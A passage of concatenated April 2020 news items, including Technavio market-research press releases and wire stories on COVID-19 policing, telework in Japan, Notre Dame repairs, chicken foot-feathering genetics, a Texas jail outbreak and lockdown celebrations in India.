fragmentation will accelerate during the forecast period. Duolingo Inc., Early Lingo, Hasbro Inc., KLOO, Mark Media Corp., MindSnacks Inc., NetDragon Websoft Holdings Ltd., Rosetta Stone Ltd., Three Flip Studios, and Top Line Solutions Pte. Ltd. are some of the major market participants. The use of 3D language learning games will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Use of 3D language learning games has been instrumental in driving the growth of the market. Language Learning Games Market 2019-2023: Segmentation Language Learning Games Market is segmented as below: End-user Kids Adults Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR31977 Language Learning Games Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our language learning games market report covers the following areas: Language Learning Games Market Size Language Learning Games Market Trends Language Learning Games Market Industry Analysis This study identifies increasing access to digital platforms as one of the prime reasons driving the language learning games market growth during the next few years. Language Learning Games Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the language learning games market, including some of the vendors such as Duolingo Inc., Early Lingo, Hasbro Inc., KLOO, Mark Media Corp., MindSnacks Inc., NetDragon Websoft Holdings Ltd., Rosetta Stone Ltd., Three Flip Studios, and Top Line Solutions Pte. Ltd. Backed with competitive intelligence and benchmarking, our research reports on the language learning games market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Language Learning Games Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist language learning games market growth during the next five years Estimation of the language learning games market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the language learning games market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of language learning games market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Preface 2.3 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2018 Market size and forecast 2018-2023 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY END-USER Market segmentation by end-user Comparison by end-user Kids Market size and forecast 2018-2023 Adults Market size and forecast 2018-2023 Market opportunity by end-user PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison North America Market size and forecast 2018-2023 Europe Market size and forecast 2018-2023 APAC Market size and forecast 2018-2023 MEA Market size and forecast 2018-2023 South America Market size and forecast 2018-2023 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Increase in adoption of language learning applications by corporate Sustainable manufacturing process for physical games Introduction of multilingual language learning games PART 12: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Duolingo Inc. Early Lingo Hasbro Inc. KLOO Mark Media Corp. MindSnacks Inc. NetDragon Websoft Holdings Ltd. Rosetta Stone Ltd. Three Flip Studios Top Line Solutions, Pte. Ltd. PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005751/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ The PSNI received thousands of reports of social distancing concerns from the public. (Liam McBurney/PA) A directive to all PSNI officers to first seek the approval of a senior officer before issuing a fine for any breach of coronavirus restrictions has been extended. In an e-mail on Friday night, PSNI officers were informed by Assistant Chief Constable Alan Todd that the instruction which was first introduced for just 48 hours will continue. In correspondence, seen by The Impartial Reporter newspaper, Mr Todd told officers: Whilst this measure was introduced to quality assure our approach to enforcement, it is now appropriate to use the facility to assist officers whilst guidance is drafted and finalised." Read More The Health Protection (Coronavirus, Restrictions) Regulations (Northern Ireland) 2020 introduced by the Northern Ireland Assembly states that no person may leave the place where they are living without reasonable excuse". Last week Mr Todd informed officers that the temporary and emergency powers place very real restrictions on the public". As such both the powers and our policing of them are under constant scrutiny and regular review. As a police service, we welcome that scrutiny and I continue to see on a daily basis that you exercise these extraordinary powers with professionalism and common sense. He explained that any officer intending to issue a CRN or Covid-1 FPN for any breach of the Health Protection (Coronavirus Restrictions) must first seek the approval of the silver commander at the strategic co-organisation centre before proceeding. One of the "reasonable excuses" listed in the legislation is "to take exercise either alone or with other members of their household". The PSNI can break up gatherings in breach of social distancing rules and issue fines of up to 960 for those who repeatedly disregard officer requests to disperse. Last Friday police also revealed they had issued 358 coronavirus-related penalty notices. A further 570 community resolution notices were given out. It also received 3,787 reports in just six days from the public over social distancing concerns. Japans government declared an emergency to help limit the spread of the coronavirus earlier this month. As part of the declaration, the government asked the Japanese people to work from home. A short time after the announcement, many people hurried to electronics stores to buy computers or other things. Many Japanese did not have the equipment they need to work from home. While the international image of Japan may include robots and high-tech devices, in some ways the country has problems with technology. But the bigger problem for the work-from-home idea is Japanese business culture, experts say. Most offices do not use email. Documents must often be signed in front of office managers with special seals called hanko. Many homes lack high-speed internet connections. A study by British market researcher YouGov found that only 18 percent of Japanese were able to easily work from home or take online classes. Most had to go into their office or school. Nearly 80 percent, however, were afraid of getting the coronavirus. Japan has over 13,500 confirmed cases and nearly 400 deaths, public broadcaster NHK said. In Tokyo, nearly 4,000 cases have been confirmed. Tokyo Governor Yuriko Koike said Monday the number of new cases each day has started to decrease. Working online from home, known as telework, would help. Yuri Tazawa is a big supporter of teleworking. He says one of the biggest issues is that Japanese workers often do not have clearly defined jobs. They work in teams and are always in contact, talking to each other to decide the best way to undertake a project. But this is a matter of life and death for the workers and their families, said Tazawa. She is the president of Telework Management Inc. Tazawa is offering an online class on how to start working from home. She teaches workers how to use just mobile phones, if they do not own a personal computer. She says workers should use the video conferencing app Zoom for voice connections. With the Zoom app, two or more people can see each other and discuss anything. Tazawa tells workers to keep the program running all day so they can hear their co-workers and feel as if they are in the office. Teleworking is so important in the fight against the coronavirus, said Tazawa. Japans biggest companies, like Toyota Motor Corporation and Sony Corporation, have begun asking their employees to work from home. The biggest problem is the smaller businesses that make up about 70 percent of the economy. Nicholas Benes is a business expert who has been offering a free online class on teleworking for Japanese workers. Benes says he is surprised by the lack of interest in the class. Telework requires that managers trust employees to make decisions because it takes too much time in emailto check with the boss, he said. Japanese workers like to smell the air, or read the air of their office, Benes said, using common Japanese expressions. This means the commuter trains are still full, even as the number of infections is growing. Im Susan Shand. The Associated Press reported this story. Susan Shand adapted it for Learning English. George Grow was the editor. ________________________________________________________________ Words in This Story manager n. one who is in charge of other people seal n. an official and legal signature or symbol of ownership mobile adj. a personal phone that one carries app n. an application, especially as downloaded by a user to a mobile device. commuter adj. something that carries people to work Paris, April 28 : On hold since mid-March due to the coronavirus pandemic in France, repair work at the iconic Notre Dame cathedral in Paris, which was damaged due to a fire last April, has resumed amid strict health and safety protocol. The blaze on April 15, 2019 severely destroyed the cathedral's spire and caused extensive damage to the roof, melting its lead plates and spreading contaminating particles on the site, reports efe news. The first batch of workers who resumed work on Monday were in charge of adapting the changing rooms, office spaces and showers to make it possible to work while observing social-distancing protocol, which has been mandated by the French government. As well as overalls and masks, the public organization in charge of the restoration efforts is planning to offer hand gel provided by luxury consortium LVMH, cut-price hotel accommodation for those that need it and food provided by heritage group Fondation du Patrimoine and restorers Sodexo. Chief architect Philippe Villeneuve, who is in charge of stabilization and recovery work at the Notre Dame, met officials on Monday morning to discuss the safety measures in place for the scheduled return of the rest of the builder, scheduled on May 4. "We can't let our colleagues come back to work without secure conditions," he told the Europe 1 news outlet. The installation of new changing rooms and showers had already been underway before progress was paralyzed on March 16, when President Emmanuel Macron placed the country in lockdown. The removal of scaffolding erected around a year ago to restore the charred spire of the cathedral's tower is expected to go ahead within three to four weeks. Despite the numerous obstacles over the last year, Villeneuve is confident Notre Dame will reopen by 2024, the date proposed by Macron. Since the fire, only two masses have taken place at the cathedral, both with reduced congregations. "It gives us hope to know work is underway again," Notre Dame's rector Patrick Chauvet told BFM TV, although he acknowledged that the 150-strong team that had previously been working at the cathedral would no longer be a possibility given the health and safety situation. France is one of the hardest-hit European nations. It has so far reported 165,964 coronavirus cases, with 23,327 deaths. Like trains running on separate but parallel tracks, sometimes the forces of evolution can affect different species running along these tracks in very similar ways. Take the evolution of a simple trait found in birds: foot feathering. Lead researcher Chiara Bortoluzzi and colleagues at Wageningen University in the Netherlands, investigated the genetic basis of foot feathering, a phenotype that is observed in certain breeds of chicken. "Foot feathering is an interesting case since, although it is a very recognizable trait that can be very easily selected to fixation in breeds, it is in fact not a monogenic trait, caused by a single gene," said Bortoluzzi. The trait, known scientifically as ptilopody, can be observed in domesticated and wild avian species and is characterized by the partial or complete development of feathers on the skin of the ankles and feet. Previous work had demonstrated that regulatory mutations in the genes Tbx5 and Pitx1 contribute to foot feathering in domesticated breeds of pigeon. Bortoluzzi wanted to investigate whether similar mutations might also be contributing to foot feathering in chickens, and if so, if also the same pathways might be altered by the same regulatory mechanisms. Parallel evolution is known as the independent development of similar phenotypic traits in separate but related lineages. In other words, when faced to adapt, nature can go to the same genetic toolbox to come up with new solutions. Now, in the advanced online edition of the journal Molecular Biology and Evolution, Bortoluzzi and co-authors report that indeed, similar mutations in the same set of genes are affecting similar molecular pathways contributing to foot feathering in domesticated chickens. To perform their study, they used a combination of genome wide analysis , followed by comparative genomics and gene expression analysis. DNA of 169 samples from 87 traditional chicken breeds was used for whole-genome sequencing analysis, followed by tissues and gene expression analysis. While demonstrating that genetic variants at Tbx5 and Pitx1 are major contributors to foot feathering, strikingly, the authors identified a 17,000 base-pair long genetic deletion near Pitx1. This deletion removes the same exact region in pigeons with foot feathering. Thus, not only are the same genes involved in foot feathering phenotypes in pigeons and chickens, but the nature of the mutations is also very much the same, at least in the case of Pitx1. "It is really amazing to see that, although chicken and pigeon diverged more than 89 million years ago we were able to find in both species the exact same number of loci and exact same number of genes," said Bortoluzzi. "This similarity is even more striking and remarkable as a similar deletion at one of the loci has the same outcome in regulating gene expression." The manuscript provides strong evidences that foot feathering has evolved by parallel evolution in chickens and pigeons. "The interesting aspect is that foot feathering can also be observed in avian wild species, including snowy owl, golden eagle, and rock ptarmigan," said Bortoluzzi. "In these wild raptor and boreal species, ptilopody has entirely evolved by natural selection. However, the occurrence of the phenotype suggests us that the same underlying genes and mutations can evolve in different species under different types of selection and selection pressure. It would be very interesting to further validate this hypothesis in future studies on both wild and domesticated avian species." ### This week, two papers on the parallel evolution of foot feathering will be published with the same embargo date and time as advanced online access articles from the journal Molecular Biology and Evolution. The press release titles, links and DOIs for the papers can be found on EurekAlert at: https://eurekalert.org/emb_releases/2020-04/mbae-ffi042720.php BAKU, Azerbaijan, April 28 By Elchin Mehdiyev - Trend: The coronavirus pandemic (COVID-19) has almost nullified activity in Azerbaijans automotive market and the online sales system, property market expert Vagif Huseynov told Trend on Apr. 28. The COVID-19 pandemic has affected all areas. There are sectors in the economy that continue to operate through online sales, but this is not possible in the automotive industry. When buying a car, it is first checked in services that did not work during the quarantine regime. In addition, many people are coming from regions to Baku to buy a car, Huseynov noted. After the introduction of quarantine, entry and exit to the capital and movement between the countrys regions were limited; respectively, the number of people using private cars also significantly decreased. Therefore, interest in buying and selling cars was not observed, he added. The expert said that it is still too early to think about a significant revival in the country's automotive market in the near future, adding that economic activity has already begun to recover in Azerbaijan. Even if the situation fully stabilizes before mid-May, there will be no recovery in the automotive market in the next two months, because people will not make large purchases, preferring to save money. Some people will beware of the second wave of COVID-19, while others will be restoring their business. Therefore, there will not be much activity in this sector until September. As for prices, it is too early to say anything about this, Huseynov added. Facebook will start warning users if they shared or engaged with articles and links that contain false information about the COVID-19 coronavirus. CEO Mark Zuckerberg last week provided an update on how Facebook was ensuring accurate coronavirus information was provided to users across the companys platforms. The company launched a dedicated COVID-19 data hub on users home feeds back in March. This page provides links to and updates from official sources of information based on the users location. The COVID-19 Information Centre includes official cautionary tips from the World Health Organisation (WHO) relating to self-care and curbing the spread of the virus. It also shows links to the pages and websites of several institutes Facebook regards as recognised health organisations. In South Africa, this includes the National Institute for Communicable Diseases (NICD), the National Department of Health, Doctors Without Borders/MSF South Africa, and Africa CDC. Zuckerberg said this portal has enjoyed widespread attention around the world on both Facebook and Instagram, directing over 2 billion people to authoritative health sources and educational pop-ups, with more than 350 million people clicking through to learn more. How Facebook is handling fake news Zuckerberg outlined the steps Facebook was taking to address a surge in fake news on its platforms. He said that the company removes pieces of content with information that could lead to imminent physical harm. Weve taken down hundreds of thousands of pieces of misinformation related to COVID-19, including theories like drinking bleach cures the virus or that physical distancing is ineffective at preventing the disease from spreading, Zuckerberg said. In addition to this, when fact-checkers find other articles and links that contain misinformation, Facebook reduces its distribution and applies warning labels with more context to the pieces, Zuckerberg stated. In March, we displayed warnings on about 40 million posts related to COVID-19 based on 4,000 articles reviewed by independent fact-checkers, Zuckerberg noted. He added that 95% of the time people saw these warning labels, they did not go on to view the original content. Warning messages Zuckerberg said Facebook will start showing messages in the News Feed which warns users who have previously engaged with harmful COVID-19-related information that the content has since been removed. These messages will also link to accurate information on the topic. In addition, Facebook will be launching a new section in the COVID-19 Information Centre aimed at providing articles targeting fake news in particular. Get The Facts will feature articles written by independent fact-checking partners that debunk COVID-19 misinformation. Now read: WHO launches Facebook Messenger chatbot to fight fake news For two-and-a-half weeks, as the coronavirus spread throughout the Bexar County jail, some 60 men inside one South Tower dormitory hoped theyd be spared. They had all been housed together for several months. Unless a guard was sick, the inmates speculated, perhaps they would emerge unscathed by the highly contagious virus. But on Monday, the inmates in the SA Unit of South Tower began to fear the worst after nine men were transferred into their open dormitory two of whom later became visibly ill and were led away by medical staff. Im terrified, said Jason Shader, an inmate in that dormitory. I dont understand why they would transfer someone in here when were the only dormitory that doesnt have inmates that have tested positive. In interviews, six inmates and their family members expressed similar concerns. They said it wasnt clear if the two inmates later tested positive for the coronavirus, but said it was troubling nonetheless. Theyre gonna have to move inmates around. That makes sense, said Patricia Newby, whose longtime boyfriend is housed in South Tower. But now theres a chance that everyone could get infected. They are more susceptible now. As of Monday evening, 62 inmates in the downtown lockup had tested positive for COVID-19, in addition to 34 deputies and 11 jail staffers. Some employees have recovered and returned to work. A few days ago, the Sheriffs Office said it would begin testing all jail staff and inmates in an effort to prevent the virus spread. So far, about 260 staff members have been tested, officials say. Once all of them are tested, inmates will be tested in greater numbers. On ExpressNews.com: At Bexar County jail, inmates complain of superficial cleanings, scarce soap and flimsy masks amid COVID outbreak Deputy Johnny Garcia, a spokesman for the Bexar County Sheriffs Office, said he could not immediately determine why the inmates were transferred to the SA Unit. At this time, the relocation of inmates inside the facility is being done very cautiously, for the fact that we have units that are on lockdown where inmates have tested positive, Garcia said. Each new inmate processed into the jail is held in a medical isolation unit for 14 day and monitored by the medical staff for symptoms. If not symptomatic, the inmate is cleared for relocation based on guidance from the medical staff, Garcia said. So far, he said, most of the inmates who have tested positive for COVID-19 have been asymptomatic. He said its possible the two inmates transferred into the SA Unit were asymptomatic up until that point. COVID-19 is an illness we are treating very seriously within our facility, Garcia said. Its an illness we are constantly adapting to as new information becomes available. Garcia said the addition of staff has allowed officials to move inmates into previously unpopulated units in the jail, allowing for better social distancing. Still, jail administrators have to consider a number of factors when placing an inmate in a unit, such as their gang affiliation and criminal history. That, too, could explain why the inmates were brought into the SA Unit, Garcia said. The concern from the inmates is definitely something we cant disregard, Garcia said. Inmate health is one of the things we are more concerned about. Not normal The first transfer, inmates say, happened about 2 a.m. or 3 a.m. Saturday. Most of the men were asleep when they heard a commotion near the bathroom. David Gonzalez looked over to the restroom area which is visible from the bunks and saw a man he didnt know holding onto a handrail. The inmate was doubled over, coughing loudly. He could be heard saying, I feel sick. I feel sick. The way he was coughing, it was not normal, said Gonzalez, who was arrested last year on a murder charge. It was like he had lung cancer. About that same time, Shader awoke to see that two men had been placed in his sleeping quarters, located in the same area of South Tower. The men appeared to be healthy, but their presence startled him. Shader and Gonzalez left their bunk areas the area is open, allowing inmates to come and go as they please for the most part and approached the guards to ask what was going on. Several other inmates joined them. Others approached the sick inmate. They asked who he was and what was wrong with him. Eventually, the inmates say, the guards called the Special Emergency Response Team, or SERT, which responds to high-risk situations in the jail. The team of officers arrived and ordered all inmates on their stomachs, a move to get them to comply. Most followed the commands. A few inmates didnt. The SERT deputies led away one inmate who refused to get on his stomach, the inmates say. The rest returned to their bunks. On ExpressNews.com: SWAT-like team responds to emergencies, defiance inside jail According to the inmates, some SERT deputies understood why the inmates were upset. Shortly thereafter, two of the men newly placed in the dormitory were transferred out. The sick inmate was led away by medical staff. The following day, inmates say, six more people were placed in their dormitory. One of six recently had been arrested on a robbery charge, court records show, and had been placed in a medical isolation unit for 14 days. According to the inmates, the man said that other people in the medical isolation unit where he was housed had tested positive for COVID-19. Shader said many inmates in South Tower were concerned but decided to stay quiet in fear of getting in trouble. Then, on Monday evening, the man who had been in a medical isolation unit started having problems breathing, the inmates say. He was clutching his chest, Shader said. He said he was having chest pains, and that he couldnt breathe. The medical staff came in here, they checked him out, and they put him in a wheelchair before leading him away. Shader, who was arrested while on parole for a nonviolent drug offense, has been vocal about many issues inside the jail, including the poor quality of the food, access to face masks and the poor quality of the cleaning solution. He said he doesnt want to make it seem like hes constantly complaining. In fact, he recently commended the Sheriffs Office for handing out masks more often. He also said there has been a slight improvement in the food, which at one point was spoiled and inedible, inmates say. We want to acknowledge that some changes have been made, he said. But its important for people to know about conditions in the jail, where roughly 3,000 inmates are incarcerated, he said. Most are being held pretrial, meaning they are, by law, presumed innocent. Some things are getting better, Shader said. But its getting close to a volatile situation. Emilie Eaton is a criminal justice reporter in the San Antonio and Bexar County area. To read more from Emilie, become a subscriber. eeaton@express-news.net | Twitter: @emilieeaton Irrfan Khan has been admitted to the Kokilaben Dhirubhai Ambani hospital in Mumbai. According to a leading news portal, the actor's health suddenly deteriorated and he has now been taken to the ICU. Irrfan lost his mother, Saeeda Begum, earlier this week, and sadly he couldn't attend her funeral, due to the nationwide lockdown. The actor was in Mumbai, but was unwell and unable to see his mother for the last time. He spoke to his family in Jaipur over video call. His family's spokesperson released a statement which states, "Yes it is true that Irrfan khan is admitted to ICU at Kokilaben in Mumbai because of a colon infection. We would keep everyone updated. He is under doctor's observation. His strength and courage have helped him battle and fight so far and we are sure with his tremendous willpower and prayers of all his well wishers, he will recover soon." Talking about his health, someone close to Irrfan's family told Navbharat Times that, due to Coronavirus outbreak, the actor's usual treatment was not going on smoothly. Thus, he has been admitted to the hospital for proper medication. The 54-year-old actor has gone through a rough time after being diagnosed with neuroendocrine cancer. Irrfan was away from Bollywood for a couple of years due to his cancer treatment in London. However, the actor took a break from his treatment and finished shooting for his film, Angrezi Medium. Also Read : Irrfan Khan's Mother Saeda Begum, 95, Passes Away; Actor Unable To Make It To Funeral Directed by Homi Adajania, the film also stars Radhika Madan, Kareena Kapoor Khan and Deepak Dobriyal in pivotal roles, and was released just before the lockdown. Mumbai Police have asked their personnel who are above 55 years of age and having some pre- existing ailment to go on leave, in a bid to protect them from the coronavirus infection. The move comes after COVID-19 claimed lives of three Mumbai Police personnel in the last three days. During an analysis, it came to light that the three deceased and the other police personnel currently undergoing treatment for coronavirus disease were above the age of 50, a senior Mumbai Police official said on Tuesday. "In view of this, we have decided to protect our policemen and officers - who are above 55 years of age and having some pre-existing ailment - and asked them to take leave," he said. "Because of their age, these police personnel are at a higher risk. Therefore, we are allowing them to take leave during these days," the official said. So far, at least 107 police personnel, including 20 officers, have tested positive for coronavirus across Maharashtra and most of them are from the Mumbai Police force. On Monday, a 57-year-old head constable of the Mumbai Police died of COVID-19. Besides, a 52-year-old head constable succumbed to the disease on Sunday, while a 57-year-old constable died on Saturday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Nurses in North Carolina accused Mission Hospital, which is owned by the for-profit hospital chain HCA Healthcare, of using the pandemic to delay a union election. At Uovo Fine Arts, a company that packages and transports art for wealthy individuals and galleries, workers said they were laid off as punishment for trying to unionize last year. Everlane, the online clothing company, laid off much of its customer-service team four days after a small number of its members informed the companys chief executive that they had enough support to form a union. The company that owns the Cleveland newspaper The Plain Dealer this month laid off journalists who were in a guild and increased its reliance on nonunionized workers. Companies say the layoffs are legitimate responses to an extraordinary economic crisis that has left many businesses on the cusp of collapse, not punishment for unionizing. Unionized employees tend to be more expensive, and getting rid of them can be an especially potent cost-cutting move. Some big companies have accused workers of trying to exploit the crisis to glean public sympathy and gain momentum for unionization. A spokeswoman at Mission Hospital in Asheville, N.C., for example, said National Nurses United, the union behind the drive, is trying to use this crisis to advance its own interest organizing more members. There already have been some well-publicized cases of employees at major companies agitating for change and then feeling that they are being punished for it. Workers at an Amazon warehouse in Staten Island, N.Y., recently accused the company of firing employees who complained about working shoulder to shoulder in the midst of the pandemic. In a letter sent last week, the New York attorney general, Letitia James, said the company may have violated federal worker safety laws and the states whistle-blower protections when it fired one worker. Andy Lee dropped a bombshell during an appearance on KIIS FM's Kyle & Jackie O Show on Tuesday. During an interview with Kyle Sandilands and Jackie 'O' Henderson, the 38-year-old comedian revealed he actually used to work for the veteran radio hosts. Andy said he worked as a panel operator for them back when they hosted The Hot30 Countdown in the early noughties. Surprise revelation: Andy Lee (centre) dropped a bombshell during an appearance on KIIS FM's Kyle & Jackie O Show on Tuesday, revealing he used to work for hosts Kyle Sandilands (left) and Jackie 'O' Henderson (right) His stunning revelation left the incredulous hosts shocked, who had been seemingly unaware of the connection. 'Yes, my first job in radio was panelling for you guys in 2003,' Andy told them. He then admitted that he was eventually fired from the job after making a costly mistake, which resulted in dead air. Little known fact: Andy said he worked as a panel operator for them back when they hosted The Hot30 Countdown in the early noughties 'I got moved on after I thought I'd put you guys to air for one entire break and I'd gone to the toilet and hadn't, so Melbourne just had nothing for a fair bit,' he recounted. 'I felt really bad and I was like, "I need to talk to Kyle and Jackie O and apologise," and he [Andy's boss] said, "No. If they don't find out, let's just leave it."' After getting to know Kyle, 48, Andy joked that he's 'glad I never mentioned it', with Jackie agreeing it was a good thing. Oops: Andy admitted he was eventually fired from the job after making a costly mistake. 'I felt really bad and I was like, "I need to talk to Kyle and Jackie O and apologise,"' he confessed 'Kyle would have cracked it back in those days! That's not a little thing, but even the little things used to rile him up,' a laughing Jackie, 45, told Andy. The intimidating radio host was apparently notorious for calling up his show's panel operators and blasting them if they ever made a mistake. Jackie admitted she had no idea how Andy managed to get away with what he did without a scolding from Kyle. Landing on his feet: Andy said it all worked out in the end, because shortly afterwards, he landed his own radio show, The Almost Tuesday Show, with longtime collaborator and best friend, Hamish Blake (right) 'What a true a**ehole,' Kyle said of himself, before confessing he started his own career as a panel operator for talkback radio host John Laws. But Andy said it all worked out in the end, because shortly afterwards, he landed his own radio show, The Almost Tuesday Show, with longtime collaborator and best friend, Hamish Blake. 'I was not allowed to press the buttons,' he added. The happy birthdays and congratulations ring loud and clear, glasses clink to say cheers and the home-baked cake is often yum too. Its a party alright but a distinctly surreal one with family and friends reduced to little squares on screens, cheering the online celebrations along. So theres no one to smear cake on the birthday girls face and promises instead of gifts as every guest -- not half as many as most party hoppers would like -- is kept at a you-can-see-but-cant-touch distance, the party itself taking on a futuristic, other worldly quality to remember in a post coronavirus tomorrow. In middle and upper class homes, birthdays, anniversaries, festivals and even pre-wedding celebrations have gone virtual after March 25, when the pan India lockdown came into force. Reducing distances but also enhancing them, the shared parties are dependent, of course, on the partygoers broadband connection or mobile data package. Mohammad Omar, a Masters student at Londons School of Oriental and African Studies (SOAS), who returned to India in March, had a 22nd birthday he will always remember. He said he was feeling really low on his birthday on April 3, but a video conference cheered him up. All my cousins and friends arranged a video conference which I was unaware of. My cousin who lives next door called me over and I was stunned to see my friends and cousins waiting at a video conference on her laptop, the 22-year-old from Ghaziabad said. They sang for me, we even danced on a few songs and I cut the cake baked by my mother, but missed being smeared with icing by my friends and cousins, he told PTI. Children are also trying to wrap their heads around the strange birthday celebrations. Parents are struggling to explain to their children why a mega bash is not possible this year. Shahana Datta, who turned eight on April 7, missed her friends and cousins who would come to her Noida home every birthday, but could not make it this time. I felt very sad that I could not meet my friends and cousins on my birthday. But my mother made a cake for me and when I was cutting it, my cousins and friends joined in on a video call to sing for me, she told PTI. Shahana said her mother has promised her many gifts once coronavirus dies and the lockdown is over. The young ones just cant figure out what the big deal about COVID-19 is. Neetu Thakur said her son Vedant was extremely upset on his seventh birthday on April 15 as he could not understand why his party couldnt happen in a mall or a banquet hall like every other year. To cheer him up, I decorated the entire house with whatever material at hand, baked a cake for him and made him connect with his cousins and grandparents on video call, said Thakur, a resident of Srinivaspuri in Delhi. I bought two-three small gifts from nearby shops and promised my son that when the lockdown opens, I will buy his favourite toys and lots of other gifts, she told PTI. The blues have hit other celebrations too. I H Rehman, an environment expert who lives in Ghaziabad, said his 24th marriage anniversary on April 15 was a sombre affair with a quiet dinner and a home-baked cake. The 53-year-old said he has promised to buy his wife a big gift once the lockdown is lifted. In a non-coronavirus year, Anindya Basu and his family would have rung in the Bengali New Year by going out for a series of feasts with friends and relatives in town. But the plans had to be tweaked this year. This year, we spent a formidable amount of time calling up all the relatives and wishing them. The kids dressed up in new clothes, and were made to sit down for a detailed lesson on the significance of the day in our culture, after which we treated ourselves to a homemade gala lunch, the Kolkata-based Basu said. Basu and his wife Madhushree, both foodies, whipped up an exquisite menu comprising quintessential Bengali delicacies like ghee bhaat (rice served with clarified butter) and katla maccher kalia (Catla fish curry). Many others also took to Twitter to share how they are celebrating various special occasions. Prometheus School in Noida hosted a special morning assembly to celebrate Baisakhi, the harvest festival. In an online video chat, students and teachers dressed up in traditional attire and shook a leg to some Punjabi music tracks. A couple had to postpone their wedding due to the lockdown. However, they shared a post on how their friends threw them a virtual sangeet party to make the day memorable. Our friends threw us a BawaMani Virtual Sangeet Party since our wedding couldnt take place this weekend! Our hearts are full of love for these bums who made our day, the bride tweeted. Theatre actor Dipali Bhasins family chalked out an extensive itinerary for her quarantine birthday, a picture of which she shared on Twitter. It started with breakfast in bed, and had activities like movie viewing, free/nap time, cocktail hour, dinner and a surprise at 6, she said. Extraordinary times sometimes call for extraordinary gestures. Like this one from police in Punjabs Mansa district which delivered a cake at the doorstep of a one-year-old. The warm gesture of the police personnel won many hearts and left the parents of the girl elated. There are also some who just cant stick to online. A man in Uttar Pradeshs Gorakhpur district demonstrated birthday over enthusiasm when he defied the lockdown with a big party on his 10-year-olld sons birthday. A case has been registered against the man, who is a trader, and some unidentified persons after a video of the event went viral on social media, according to the police. Till such time when the shadow of the pandemic vanishes, Happy birthday to you on video may just become the new normal for connected India. (This story has been published from a wire agency feed without modifications to the text. Only the headline has been changed. ) Follow more stories on Facebook and Twitter Technavio has been monitoring the automotive films market and it is poised to grow by USD 1.43 billion during 2019-2023, progressing at a CAGR of over 5% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005058/en/ Technavio has announced its latest market research report titled Global Automotive Films Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. 3M Co., Arlon Graphics LLC, Avery Dennison Corp., Compagnie de Saint-Gobain SA, Eastman Chemical Co., HEXIS SA, Johnson Window Films Inc., LINTEC Corp., NEXFIL Ltd., and Rayno Window Film are some of the major market participants. The use of automotive films will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Use of automotive films has been instrumental in driving the growth of the market. Automotive Films Market 2019-2023: Segmentation Automotive Films Market is segmented as below: Type Window Films Wrap Films Paint Protection Films Geographic Landscape APAC Europe MEA North America South America To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR32037 Automotive Films Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our automotive films market report covers the following areas: Automotive Films Market Size Automotive Films Market Trends Automotive Films Market Industry Analysis This study identifies development of carbon-ceramic automotive films as one of the prime reasons driving the automotive films market growth during the next few years. Automotive Films Market 2019-2023: Vendor Analysis We provide a detailed analysis of vendors operating in the automotive films market, including some of the vendors such as 3M Co., Arlon Graphics LLC, Avery Dennison Corp., Compagnie de Saint-Gobain SA, Eastman Chemical Co., HEXIS SA, Johnson Window Films Inc., LINTEC Corp., NEXFIL Ltd., and Rayno Window Film. Backed with competitive intelligence and benchmarking, our research reports on the automotive films market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Automotive Films Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist automotive films market growth during the next five years Estimation of the automotive films market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the 